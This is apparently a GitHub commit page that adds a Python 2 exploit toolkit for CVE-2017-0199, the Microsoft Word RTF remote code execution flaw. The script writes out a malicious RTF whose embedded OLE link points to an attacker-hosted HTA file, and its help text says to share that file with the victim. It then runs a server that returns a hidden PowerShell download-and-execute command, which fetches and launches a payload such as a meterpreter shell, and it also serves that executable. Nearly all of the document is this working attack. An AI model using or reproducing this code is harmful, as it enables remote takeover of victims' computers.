-
Notifications
You must be signed in to change notification settings - Fork 259
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
181 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,181 @@ | ||
import os,sys,thread,socket,sys,getopt | ||
|
||
BACKLOG = 50 # how many pending connections queue will hold | ||
MAX_DATA_RECV = 999999 # max number of bytes we receive at once | ||
DEBUG = True # set to True to see the debug msgs | ||
def main(argv): | ||
# Host and Port information | ||
global port | ||
global host | ||
global filename | ||
global docuri | ||
global port | ||
global payloadurl | ||
global payloadlocation | ||
port = int("80") | ||
host = '0.0.0.0' | ||
# Capture command line arguments | ||
try: | ||
opts, args = getopt.getopt(argv,"hM:w:u:p:e:l:",["mode=","filename=","docuri=","port=","payloadurl=","payloadlocation="]) | ||
except getopt.GetoptError: | ||
print 'Help: python '+sys.argv[0]+' -h' | ||
sys.exit(2) | ||
for opt, arg in opts: | ||
if opt == '-h': | ||
print "\nThis is a handy toolkit to exploit CVE-2017-0199 (Microsoft Word RTF RCE)\n" | ||
print "Modes:\n" | ||
print " -M gen Generate Malicious RTF file only\n" | ||
print " Generate malicious RTF file:\n" | ||
print " -w <Filename.rtf> Name of malicious RTF file (Share this file with victim).\n" | ||
print " -u <http://attacker.com/test.hta> The path to an hta file. Normally, this should be a domain or IP where this tool is running.\n" | ||
print " For example, http://attackerip.com/test.hta (This URL will be included in malicious RTF file and\n" | ||
print " will be requested once victim will open malicious RTF file.\n" | ||
print " -M exp Start exploitation mode\n" | ||
print " Exploitation:\n" | ||
print " -p <TCP port:Default 80> Local port number.\n" | ||
print " -e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.\n" | ||
print " -l </tmp/shell.exe> Local path of an executable file / meterpreter shell / payload (If payload is hosted locally).\n" | ||
sys.exit() | ||
elif opt in ("-M","--mode"): | ||
mode = arg | ||
elif opt in ("-w", "--filename"): | ||
filename = arg | ||
elif opt in ("-u", "--docuri"): | ||
docuri = arg | ||
elif opt in ("-p", "--port"): | ||
port = int(arg) | ||
elif opt in ("-e", "--payloadurl"): | ||
payloadurl = arg | ||
elif opt in ("-l", "--payloadlocation"): | ||
payloadlocation = arg | ||
if "gen" in mode: | ||
if filename or docuri == None: | ||
print 'Help: python '+sys.argv[0]+' -h' | ||
sys.exit() | ||
print "Generating payload" | ||
generate_exploit_rtf() | ||
if "exp" in mode: | ||
if port or payloadurl or payloadlocation == None: | ||
print 'Help: python '+sys.argv[0]+' -h' | ||
sys.exit() | ||
print "Running exploit mode - waiting for victim to connect" | ||
exploitation() | ||
|
||
def generate_exploit_rtf(): | ||
# Preparing malicious Doc | ||
s = docuri | ||
docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s) | ||
docuri_pad_len = 224 - len(docuri_hex) | ||
docuri_pad = "0"*docuri_pad_len | ||
uri_hex = "010000020900000001000000000000000000000000000000a4000000e0c9ea79f9bace118c8200aa004ba90b8c000000"+docuri_hex+docuri_pad+"00000000795881f43b1d7f48af2c825dc485276300000000a5ab0000ffffffff0609020000000000c00000000000004600000000ffffffff0000000000000000906660a637b5d201000000000000000000000000000000000000000000000000100203000d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" | ||
|
||
payload = "{\\rtf1\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n" | ||
payload += "{\\info\n" | ||
payload += "{\\author }\n" | ||
payload += "{\\operator }\n" | ||
payload += "}\n" | ||
payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n" | ||
payload += "{\n" | ||
payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n" | ||
payload += "{\\*\\objclass Word.Document.8}\n" | ||
payload += "{\\*\\objdata 0105000002000000\n" | ||
payload += "090000004f4c45324c696e6b000000000000000000000a0000\n" | ||
payload += "d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" | ||
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" | ||
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" | ||
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" | ||
payload += "fffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" | ||
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" | ||
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" | ||
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" | ||
payload += "ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000003000000000000c000000000000046000000000000000000000000704d\n" | ||
payload += "6ca637b5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000\n" | ||
payload += "000000000000000000000000f00000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000\n" | ||
payload += "0000000000000000000004000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000\n" | ||
payload += "00000000000000000000000005000000b700000000000000010000000200000003000000fefffffffeffffff0600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" | ||
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" | ||
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" | ||
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" | ||
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" | ||
payload += uri_hex+"\n" | ||
payload += "0105000000000000}\n" | ||
payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n" | ||
payload += "{\\*\\datastore }\n" | ||
payload += "}\n" | ||
f = open(filename, 'w') | ||
f.write(payload) | ||
f.close() | ||
print "Generated "+filename+" successfully" | ||
|
||
def exploitation(): | ||
|
||
print "Server Running on ",host,":",port | ||
|
||
try: | ||
# create a socket | ||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||
|
||
# associate the socket to host and port | ||
s.bind((host, port)) | ||
|
||
# listenning | ||
s.listen(BACKLOG) | ||
|
||
except socket.error, (value, message): | ||
if s: | ||
s.close() | ||
print "Could not open socket:", message | ||
sys.exit(1) | ||
|
||
# get the connection from client | ||
while 1: | ||
conn, client_addr = s.accept() | ||
|
||
# create a thread to handle request | ||
thread.start_new_thread(server_thread, (conn, client_addr)) | ||
|
||
s.close() | ||
|
||
def server_thread(conn, client_addr): | ||
|
||
# get the request from browser | ||
try: | ||
request = conn.recv(MAX_DATA_RECV) | ||
if (len(request) > 0): | ||
# parse the first line | ||
first_line = request.split('\n')[0] | ||
|
||
# get method | ||
method = first_line.split(' ')[0] | ||
# get url | ||
url = first_line.split(' ')[1] | ||
check_exe_request = url.find('.exe') | ||
if (check_exe_request > 0): | ||
print "Received request for payload from "+client_addr[0] | ||
size = os.path.getsize(payloadlocation) | ||
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n" | ||
with open(payloadlocation) as fin: | ||
data +=fin.read() | ||
conn.send(data) | ||
conn.close() | ||
sys.exit(1) | ||
if method in ['GET', 'get']: | ||
print "Received GET method from "+client_addr[0] | ||
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n<script>\na=new ActiveXObject(\"WScript.Shell\");\na.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe', 0);window.close();\n</script>\r\n" | ||
conn.send(data) | ||
conn.close() | ||
if method in ['OPTIONS', 'options']: | ||
print "Receiver OPTIONS method from "+client_addr[0] | ||
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:47:14 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nAllow: OPTIONS,HEAD,GET\r\nContent-Length: 0\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html" | ||
conn.send(data) | ||
conn.close() | ||
if method in ['HEAD', 'head']: | ||
print "Received HEAD method from "+client_addr[0] | ||
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/doc\r\n\r\n" | ||
conn.send(data) | ||
conn.close() | ||
sys.exit(1) | ||
except socket.error, ex: | ||
print ex | ||
if __name__ == '__main__': | ||
main(sys.argv[1:]) |